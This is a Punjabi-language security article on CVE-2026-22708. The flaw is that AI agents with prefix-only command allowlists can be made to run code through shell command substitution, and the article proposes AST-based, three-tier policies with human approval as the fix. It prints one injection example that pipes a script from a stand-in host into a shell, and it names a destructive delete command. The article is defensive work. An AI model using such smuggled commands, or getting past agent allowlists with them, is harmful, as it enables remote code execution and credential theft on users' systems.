ਇੱਕ ਨਵੀਂ ਖੁਲ੍ਹੀ ਹੋਈ ਕਮਜ਼ੋਰੀ, CVE-2026-22708, ਇਹ ਦਰਸਾਉਂਦੀ ਹੈ ਕਿ ਉਹ AI agents ਜੋ ਸਧਾਰਨ command allowlists 'ਤੇ ਨਿਰਭਰ ਕਰਦੇ ਹਨ, ਉਹਨਾਂ ਨੂੰ ਮਾਲੀਸ਼ੀਅਸ ਕੋਡ (malicious code) ਚਲਾਉਣ ਲਈ ਧੋਖਾ ਦਿੱਤਾ ਜਾ ਸਕਦਾ ਹੈ। ਇਹ ਖਾਮੀ ਇੱਕ ਹਮਲਾਵਰ ਨੂੰ ਇੱਕ ਮਾਸੂਮ ਦਿਖਣ ਵਾਲੀ command ਦੇ ਅੰਦਰ payload ਲੁਕਾਉਣ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦੀ ਹੈ, ਜਿਸ ਨਾਲ agent ਨੂੰ host 'ਤੇ ਮਨਮਾਨੇ scripts ਚਲਾਉਣ ਦਾ ਸਿੱਧਾ ਰਸਤਾ ਮਿਲ ਜਾਂਦਾ ਹੈ।

ਜ਼ਿਆਦਾਤਰ AI-driven assistants ਜੋ development ਜਾਂ operations ਨੂੰ ਆਟੋਮੇਟ ਕਰਦੇ ਹਨ, ਉਹ command ਦੇ ਪਹਿਲੇ ਸ਼ਬਦ ਨੂੰ whitelist ਨਾਲ ਮਿਲਾ ਕੇ ਚੈੱਕ ਕਰਕੇ ਕੰਮ ਕਰਦੇ ਹਨ। ਜੇਕਰ ਉਹ ਸ਼ਬਦ git ਜਾਂ npm ਵਰਗੀ ਕਿਸੇ ਐਂਟਰੀ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ, ਤਾਂ ਬੇਨਤੀ (request) ਨੂੰ ਸਿੱਧਾ ਅੱਗੇ ਭੇਜ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ। ਇਹ “prefix matching” ਆਕਰਸ਼ਕ ਹੈ ਕਿਉਂਕਿ ਇਸ ਨੂੰ ਲਾਗੂ ਕਰਨਾ ਆਸਾਨ ਹੈ ਅਤੇ ਇਹ ਲੱਗਦਾ ਹੈ ਕਿ ਇਹ agent ਨੂੰ ਖ਼ਤਰਨਾਕ utilities ਚਲਾਉਣ ਤੋਂ ਰੋਕਦਾ ਹੈ।

ਅਸਲ ਵਿੱਚ, ਇਹ ਤਰੀਕਾ ਇੱਕ ਸੁਰੱਖਿਆ ਖਾਮੀ (security hole) ਹੈ। ਇੱਕ ਹਮਲਾਵਰ ਮਨਜ਼ੂਰਸ਼ੁਦਾ ਸ਼ਬਦ ਤੋਂ ਬਾਅਦ command substitution ਜਾਂ ਕੋਈ ਹੋਰ shell feature ਜੋੜ ਸਕਦਾ ਹੈ, ਅਤੇ whitelist ਇਸ ਨੂੰ ਕਦੇ ਦੇਖ ਨਹੀਂ ਸਕੇਗੀ। ਇੱਕ ਉਦਾਹਰਨ ਹੈ:

git branch "$(curl evil.sh | sh)"

Allowlist ਸਿਰਫ਼ git ਨੂੰ ਦੇਖਦੀ ਹੈ ਅਤੇ ਬੇਨਤੀ ਨੂੰ ਮਨਜ਼ੂਰੀ ਦੇ ਦਿੰਦੀ ਹੈ। ਫਿਰ shell $(curl evil.sh | sh) ਨੂੰ expand ਕਰਦਾ ਹੈ, ਇੱਕ script ਡਾਊਨਲੋਡ ਕਰਦਾ ਹੈ ਅਤੇ ਇਸ ਨੂੰ agent ਦੇ privileges ਨਾਲ ਚਲਾਉਂਦਾ ਹੈ। ਇਹੀ ਚਾਲ ਕਿਸੇ ਵੀ whitelisted binary ਨਾਲ ਕੰਮ ਕਰਦੀ ਹੈ ਜੋ shell ਦੁਆਰਾ ਅਨੁਸਾਰਿਤ (interpreted) arguments ਨੂੰ ਸਵੀਕਾਰ ਕਰਦਾ ਹੈ।

ਇਸਦਾ ਪ੍ਰਭਾਵ ਗੰਭੀਰ ਹੈ ਕਿਉਂਕਿ AI agents ਨੂੰ ਲਗਾਤਾਰ ਵਧਦੇ ਹੋਏ privileged environments—ਜਿਵੇਂ ਕਿ continuous-integration pipelines, cloud-hosted development containers, ਅਤੇ ਇੱਥੋਂ ਤੱਕ ਕਿ user workstations—ਦੀ ਜ਼ਿੰਮੇਵਾਰੀ ਦਿੱਤੀ ਜਾ ਰਹੀ ਹੈ। ਜੇਕਰ ਕਿਸੇ agent ਨੂੰ payload ਚਲਾਉਣ ਲਈ ਮਜਬੂਰ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ, ਤਾਂ ਹਮਲਾਵਰ ਨੂੰ ਉਹੀ access rights ਮਿਲ ਜਾਂਦੇ ਹਨ ਜੋ agent ਕੋਲ ਹਨ, ਜਿਸ ਵਿੱਚ ਅਕਸਰ secret keys, deployment credentials, ਜਾਂ ਬਿਨਾਂ ਕਿਸੇ ਰੋਕ-ਟੋਕ ਦੇ filesystem access ਸ਼ਾਮਲ ਹੁੰਦੇ ਹਨ।

ਸਧਾਰਨ allowlists ਕਿਉਂ ਅਸਫਲ ਹੁੰਦੀਆਂ ਹਨ

  • String matching, policy ਨਹੀਂ – ਸਿਰਫ਼ ਪਹਿਲੇ token ਨੂੰ ਚੈੱਕ ਕਰਨ ਨਾਲ command line ਦੀ ਬਣਤਰ ਨੂੰ ਨਜ਼ਰਅੰਦਾਜ਼ ਕਰ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ। ਇਹ ਇਸ ਗੱਲ 'ਤੇ ਵਿਚਾਰ ਨਹੀਂ ਕਰਦਾ ਕਿ arguments ਨੂੰ ਕਿਵੇਂ ਅਨੁਸਾਰਿਤ (interpret) ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਜਾਂ ਕੀ ਉਹਨਾਂ ਵਿੱਚ shell metacharacters ਹਨ।
  • Shell features ਸ਼ਕਤੀਸ਼ਾਲੀ ਹੁੰਦੇ ਹਨ – Substitution, pipelines, ਅਤੇ redirection ਸਭ ਕੁਝ allowlist ਚੈੱਕ ਤੋਂ ਬਾਅਦ ਪ੍ਰੋਸੈਸ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਜੋ ਇੱਕ ਮਾਸੂਮ ਦਿਖਣ ਵਾਲੀ command ਨੂੰ ਪੂਰੇ exploit ਵਿੱਚ ਬਦਲ ਦਿੰਦਾ ਹੈ।
  • No context awareness – Whitelist ਇੱਕ ਸੁਰੱਖਿਅਤ git status ਅਤੇ ਇੱਕ ਖ਼ਤਰਨਾਕ git push --force ਵਿਚਕਾਰ ਅੰਤਰ ਨਹੀਂ ਕਰ ਸਕਦੀ ਜੋ production history ਨੂੰ ਉਲਟਾ (overwrite) ਸਕਦੀ ਹੈ।

ਇੱਕ ਵਧੇਰੇ ਮਜ਼ਬੂਤ ਮਾਡਲ

CVE-2026-22708 ਲਈ ਭਾਈਚਾਰੇ (community) ਦਾ ਪ੍ਰਤੀਕਰਮ ਸਧਾਰਨ string checks ਤੋਂ ਹਟ ਕੇ commands ਨੂੰ Abstract Syntax Tree (AST) ਵਿੱਚ parse ਕਰਨ ਵੱਲ ਵਧਣਾ ਹੈ। ਇੱਕ AST command ਦੀ ਲੜੀਵਾਰ ਬਣਤਰ (hierarchical structure) ਨੂੰ ਦਰਸਾਉਂਦਾ ਹੈ, ਜੋ executable ਨੂੰ ਉਸਦੇ arguments ਅਤੇ ਕਿਸੇ ਵੀ shell constructs ਤੋਂ ਵੱਖ ਕਰਦਾ ਹੈ। ਇੱਕ ਵਾਰ ਜਦੋਂ command ਨੂੰ ਤੋੜ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ, ਤਾਂ ਇੱਕ policy engine ਇਸਦਾ ਤਿੰਨ ਵੱਖ-ਵੱਖ ਸ਼੍ਰੇਣੀਆਂ ਵਿੱਚ ਮੁਲਾਂਕਣ ਕਰ ਸਕਦਾ ਹੈ:

  • SAFE – ਉਹ commands ਜੋ ਤਸਦੀਕਸ਼ੁਦਾ ਨਿਯਮਾਂ ਨਾਲ ਮੇਲ ਖਾਂਦੇ ਹਨ ਅਤੇ ਉਹਨਾਂ ਵਿੱਚ ਕੋਈ ਜੋਖਮ ਭਰਿਆ construct ਨਹੀਂ ਹੁੰਦਾ। Agent ਇਹਨਾਂ ਨੂੰ ਆਪਣੇ ਆਪ ਚਲਾਉਂਦਾ ਹੈ। ਉਦਾਹਰਨ: git status।
  • BLOCKED – ਉਹ commands ਜੋ ਖ਼ਤਰਨਾਕ ਮੰਨੇ ਜਾਣ ਵਾਲੇ patterns ਨਾਲ ਮੇਲ ਖਾਂਦੇ ਹਨ, ਜਿਵੇਂ ਕਿ ਉਹ ਜੋ secret files ਤੱਕ ਪਹੁੰਚ ਕਰਦੇ ਹਨ, directories ਨੂੰ ਡਿਲੀਟ ਕਰਦੇ ਹਨ, ਜਾਂ privileged scripts ਨੂੰ ਚਲਾਉਂਦੇ ਹਨ। Agent ਇਹਨਾਂ ਨੂੰ ਤੁਰੰਤ ਰੋਕ ਦਿੰਦਾ ਹੈ। ਉਦਾਹਰਨ: rm -rf /।
  • UNCERTAIN – ਉਹ commands ਜੋ ਨਾ ਤਾਂ ਸੁਰੱਖਿਅਤ (safe) ਅਤੇ ਨਾ ਹੀ blocked ਸ਼੍ਰੇਣੀ ਵਿੱਚ ਸਾਫ਼ ਤੌਰ 'ਤੇ ਆਉਂਦੇ ਹਨ। ਅੱਗੇ ਵਧਣ ਤੋਂ ਪਹਿਲਾਂ agent ਨੂੰ ਮਨੁੱਖੀ ਮਨਜ਼ੂਰੀ ਲੈਣੀ ਚਾਹੀਦੀ ਹੈ। ਉਦਾਹਰਨ: git push --force।

UNCERTAIN ਤਹਿਸਲ (tier) ਦੀ ਸ਼ੁਰੂਆਤ ਧਮਕੀ ਮਾਡਲ (threat model) ਨੂੰ ਬਦਲ ਦਿੰਦੀ ਹੈ। ਹਰ ਅਣਪਛਾਤੀ command ਨੂੰ ਅਸਫਲ ਮੰਨਣ ਦੀ ਬਜਾਏ, ਸਿਸਟਮ ਅਨਿਸ਼ਚਿਤਤਾ ਨੂੰ ਇੱਕ ਨਿਯੰਤਰਿਤ ਅੰਤਰਕਿਰਿਆ (controlled interaction) ਵਿੱਚ ਬਦਲ ਦਿੰਦਾ ਹੈ। ਮਨਜ਼ੂਰੀ ਦੇ ਕਦਮ ਨੂੰ ਲਾਗੂ ਕਰਨ ਦਾ ਇੱਕ ਵਿਹਾਰਕ ਤਰੀਕਾ ਇੱਕ ਸਿੰਗਲ-ਯੂਜ਼ HMAC token ਜਾਰੀ ਕਰਨਾ ਹੈ ਜੋ ਉਪਭੋਗਤਾ ਨੂੰ agent ਨੂੰ ਵਾਪਸ ਪੇਸ਼ ਕਰਨਾ ਪਵੇਗਾ। ਕਿਉਂਕਿ token ਬੇਨਤੀ (request) ਨਾਲ cryptographically ਜੁੜਿਆ ਹੋਇਆ ਹੈ, ਇਸ ਲਈ agent ਸਹਿਮਤੀ ਦੀ ਨਕਲੀ ਡਿਊਟੀ (forge consent) ਨਹੀਂ ਕਰ ਸਕਦਾ।

ਸੁਰੱਖਿਆ ਅਤੇ ਵਰਤੋਂਯੋਗਤਾ (usability) ਵਿੱਚ ਸੰਤੁਲਨ ਬਣਾਉਣਾ

ਆਲੋਚਕ ਇਹ ਦਲੀਲ ਦੇ ਸਕਦੇ ਹਨ ਕਿ AST parsing ਨਾਲ ਦੇਰੀ (latency) ਵਧਦੀ ਹੈ ਜਾਂ ਤਿੰਨ-ਤਹਿਸਲ ਮਾਡਲ ਉਪਭੋਗਤਾਵਾਂ ਨੂੰ ਮਨਜ਼ੂਰੀ ਦੇ ਪ੍ਰੋਂਪਟਾਂ ਨਾਲ ਭਰ ਸਕਦਾ ਹੈ, ਜਿਸ ਨਾਲ ਉਤਪਾਦਕਤਾ ਘਟਦੀ ਹੈ। ਉਹ ਚਿੰਤਾਵਾਂ ਜਾਇਜ਼ ਹਨ: ਇੱਕ ਗਲਤ ਤਰੀਕੇ ਨਾਲ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਨਿਯਮ ਸੈੱਟ ਗਲਤ (false positives) ਨਤੀਜੇ ਦੇ ਸਕਦਾ ਹੈ, ਅਤੇ ਗੁੰਝਲਦਾਰ parsing ਇੱਕ ਸਧਾਰਨ string check ਨਾਲੋਂ ਕੰਪਿਊਟੇਸ਼ਨਲ ਰੂਪ ਵਿੱਚ ਭਾਰੀ ਹੋ ਸਕਦੀ ਹੈ। ਹਾਲਾਂਕਿ, ਵਿਕਲਪ—ਮਨਮਾਨੇ ਕੋਡ ਨੂੰ ਚਲਾਉਣ ਦੀ ਇਜਾਜ਼ਤ ਦੇਣਾ—ਬਹੁਤ ਜ਼ਿਆਦਾ ਮਹਿੰਗਾ ਹੈ। ਹਾਈਬ੍ਰਿਡ ਤਰੀਕੇ ਜੋ AST ਵਿਸ਼ਲੇਸ਼ਣ ਦੇ ਨਾਲ ਹਲਕੇ-ਫੁਲਕੇ sandboxing ਨੂੰ ਜੋੜਦੇ ਹਨ, ਉਹ ਇੱਕ ਮਜ਼ਬੂਤ ਨੀਤੀ ਨੂੰ ਲਾਗੂ ਕਰਦੇ ਹੋਏ ਪ੍ਰਦਰਸ਼ਨ (performance) 'ਤੇ ਪੈਣ ਵਾਲੇ ਪ੍ਰਭਾਵ ਨੂੰ ਘਟਾ ਸਕਦੇ ਹਨ।

ਡਿਵੈਲਪਰਾਂ ਅਤੇ ਉੱਦਮਾਂ (enterprises) ਲਈ ਕੀ ਖਤਰੇ ਵਿੱਚ ਹੈ

  • Data confidentiality – ਇੱਕ ਖ਼ਤਰੇ ਵਿੱਚ ਆਇਆ agent API keys, passwords, ਅਤੇ proprietary code ਨੂੰ ਚੋਰੀ ਕਰ ਸਕਦਾ ਹੈ।
  • System integrity – ਮਾਲੀਸ਼ੀਅਸ commands production artifacts ਨੂੰ ਬਦਲ ਸਕਦੀਆਂ ਹਨ ਜਾਂ ਡਿਲੀਟ ਕਰ ਸਕਦੀਆਂ ਹਨ, ਰਿਲੀਜ਼ਾਂ ਨੂੰ ਰੋਲ ਬੈਕ ਕਰ ਸਕਦੀਆਂ ਹਨ, ਜਾਂ ਬੈਕਡੋਰ (backdoors) ਇੰਸਟਾਲ ਕਰ ਸਕਦੀਆਂ ਹਨ।
  • Regulatory exposure – ਅਸੁਰੱਖਿਅਤ ਆਟੋਮੇਸ਼ਨ ਕਾਰਨ ਹੋਣ ਵਾਲੀਆਂ ਉਲੰਘਣਾਵਾਂ (breaches) ਕਾਰਨ ਕੰਪਲਾਇੰਸ ਜੁਰਮਾਨੇ ਲੱਗ ਸਕਦੇ ਹਨ, ਖਾਸ ਕਰਕੇ ਉਹਨਾਂ ਖੇਤਰਾਂ ਵਿੱਚ ਜਿੱਥੇ ਡੇਟਾ-ਹੈਂਡਲਿੰਗ ਦੇ ਸਖ਼ਤ ਨਿਯਮ ਹਨ।

ਜਿਹੜੇ ਪ੍ਰੋਜੈਕਟ ਇਹਨਾਂ ਖ਼ਤਰਿਆਂ ਨੂੰ ਨਜ਼ਰਅੰਦਾਜ਼ ਕਰਦੇ ਹਨ, ਉਹ ਅਕਸਰ ਜਾਂ ਤਾਂ ਏਜੰਟ ਨੂੰ ਬਹੁਤ ਜ਼ਿਆਦਾ ਪਾਬੰਦੀਆਂ ਵਾਲੇ ਨਿਯਮਾਂ ਨਾਲ ਕਮਜ਼ੋਰ ਕਰ ਦਿੰਦੇ ਹਨ ਜਾਂ ਇਸਨੂੰ ਸ਼ੋਸ਼ਣ (exploitation) ਲਈ ਖੁੱਲ੍ਹਾ ਛੱਡ ਦਿੰਦੇ ਹਨ। ਦਰਮਿਆਨਾ ਰਸਤਾ—ਸਪੱਸ਼ਟ SAFE, BLOCKED, ਅਤੇ UNCERTAIN ਸਮੂਹਾਂ ਨੂੰ ਪਰਿਭਾਸ਼ਿਤ ਕਰਨਾ—ਸੁਰੱਖਿਆ ਅਤੇ ਉਪਯੋਗਤਾ ਦੋਵਾਂ ਲਈ ਇੱਕ ਵਿਹਾਰਕ ਮਾਰਗ ਪ੍ਰਦਾਨ ਕਰਦਾ ਹੈ।

ਅੱਗੇ ਕੀ ਦੇਖਣਾ ਹੈ

  • Tooling – ਆਮ ਸ਼ੈੱਲਾਂ (shells) ਅਤੇ ਬਿਲਡ ਪਾਈਪਲਾਈਨਾਂ ਲਈ AST-ਅਧਾਰਤ ਪਾਰਸਰਾਂ ਦੇ ਨਾਲ-ਨਾਲ ਤਿਆਰ ਪਾਲਿਸੀ ਟੈਂਪਲੇਟਾਂ ਵਾਲੀਆਂ ਓਪਨ-ਸੋਰਸ ਲਾਇਬ੍ਰੇਰੀਆਂ ਦੀ ਉਮੀਦ ਰੱਖੋ।
  • Standards – ਉਦਯੋਗਿਕ ਸਮੂਹ ਆਮ ਡਿਵੈਲਪਮੈਂਟ ਕਮਾਂਡਾਂ ਲਈ ਬੇਸਲਾਈਨ ਨਿਯਮਾਂ ਦੇ ਸਮੂਹ ਪ੍ਰਸਤਾਵਿਤ ਕਰ ਸਕਦੇ ਹਨ, ਜਿਵੇਂ ਕਿ ਕੰਟੇਨਰ ਰਨਟਾਈਮਾਂ ਨੇ seccomp ਪ੍ਰੋਫਾਈਲਾਂ ਨੂੰ ਮਿਆਰੀ ਬਣਾਇਆ ਸੀ।
  • Audits – ਸੁਰੱਖਿਆ ਟੀਮਾਂ ਸੰਭਾਵਤ ਤੌਰ 'ਤੇ ਆਪਣੇ CI/CD ਆਡਿਟ ਪਾਈਪਲਾਈਨਾਂ ਵਿੱਚ “allowlist sanity checks” ਜੋੜਨਗੀਆਂ, ਅਤੇ ਕਿਸੇ ਵੀ ਅਜਿਹੇ ਏਜੰਟ ਕਨਫਿਗਰੇਸ਼ਨ ਨੂੰ ਫਲੈਗ ਕਰਨਗੀਆਂ ਜੋ ਸਿਰਫ਼ ਪ੍ਰੀਫਿਕਸ ਮੈਚਿੰਗ (prefix matching) 'ਤੇ ਨਿਰਭਰ ਕਰਦੀ ਹੈ।

ਮੁੱਖ ਗੱਲ

ਜੇਕਰ ਤੁਹਾਡਾ AI ਏਜੰਟ ਅਜੇ ਵੀ ਸਿਰਫ਼ ਇੱਕ ਕਮਾਂਡ ਦੇ ਪਹਿਲੇ ਸ਼ਬਦ ਨੂੰ ਦੇਖ ਕੇ ਇਹ ਫੈਸਲਾ ਕਰਦਾ ਹੈ ਕਿ ਕੀ ਚਲਾਉਣਾ ਹੈ, ਤਾਂ ਇਹ CVE-2026-22708 ਵਿੱਚ ਦਿਖਾਈ ਗਈ ਕਮਜ਼ੋਰੀ ਦੇ ਖ਼ਤਰੇ ਵਿੱਚ ਹੈ। ਉਸ ਪਹੁੰਚ ਨੂੰ AST-ਅਧਾਰਤ ਪਾਰਸਿੰਗ ਅਤੇ ਤਿੰਨ-ਪੱਧਰੀ ਪਾਲਿਸੀ ਨਾਲ ਬਦਲੋ ਜੋ ਅਸਪਸ਼ਟ ਕਾਰਵਾਈਆਂ ਲਈ ਮਨੁੱਖੀ ਪੁਸ਼ਟੀ (human confirmation) ਨੂੰ ਲਾਜ਼ਮੀ ਬਣਾਉਂਦੀ ਹੈ। ਇਹ ਵਾਧੂ ਕਦਮ ਸ਼ਾਇਦ ਰੁਕਾਵਟ ਵਾਂਗ ਲੱਗੇ, ਪਰ ਇਹ ਇੱਕ ਅਣਦੇਖੀ ਕਮਜ਼ੋਰੀ ਨੂੰ ਇੱਕ ਪ੍ਰਮਾਣਿਤ ਕੰਟਰੋਲ ਪੁਆਇੰਟ ਵਿੱਚ ਬਦਲ ਦਿੰਦਾ ਹੈ, ਜੋ ਤੁਹਾਡੇ ਕੋਡ ਅਤੇ ਤੁਹਾਡੇ ਇਨਫਰਾਸਟ੍ਰਕਚਰ ਦੋਵਾਂ ਦੀ ਰੱਖਿਆ ਕਰਦਾ ਹੈ।